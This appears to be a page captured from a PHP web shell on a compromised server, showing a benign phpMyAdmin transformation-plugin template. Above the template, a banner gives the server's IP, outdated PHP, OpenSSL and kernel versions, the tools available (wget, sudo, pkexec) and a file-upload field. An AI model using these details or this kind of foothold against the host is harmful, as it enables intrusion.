????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.23.102.52 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/phpmyadmin/libraries/plugins/transformations/ |
Upload File : |
<?php // vim: expandtab sw=4 ts=4 sts=4: /** * This file contains the basic structure for an abstract class defining a * transformation. * For instructions, read the documentation * * @package PhpMyAdmin-Transformations * @subpackage [TransformationName] */ if (! defined('PHPMYADMIN')) { exit; } /* Get the transformations interface */ require_once 'libraries/plugins/TransformationsPlugin.class.php'; /** * Provides common methods for all of the [TransformationName] transformations plugins. * * @package PhpMyAdmin */ abstract class [TransformationName]TransformationsPlugin extends TransformationsPlugin { /** * Gets the transformation description of the specific plugin * * @return string */ public static function getInfo() { return __( 'Description of the transformation.' ); } /** * Does the actual work of each specific transformations plugin. * * @param string $buffer text to be transformed * @param array $options transformation options * @param string $meta meta information * * @return void */ public function applyTransformation($buffer, $options = array(), $meta = '') { // possibly use a global transform and feed it with special options // further operations on $buffer using the $options[] array. // You can evaluate the propagated $meta Object. It's contained fields are described in http://www.php.net/mysql_fetch_field. // This stored information can be used to get the field information about the transformed field. // $meta->mimetype contains the original MimeType of the field (i.e. 'text/plain', 'image/jpeg' etc.) return $buffer; } /** * This method is called when any PluginManager to which the observer * is attached calls PluginManager::notify() * * @param SplSubject $subject The PluginManager notifying the observer * of an update. * * @todo implement * @return void */ public function update (SplSubject $subject) { ; } /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */ /** * Gets the TransformationName of the specific plugin * * @return string */ public static function getName() { return "[TransformationName]"; } } ?>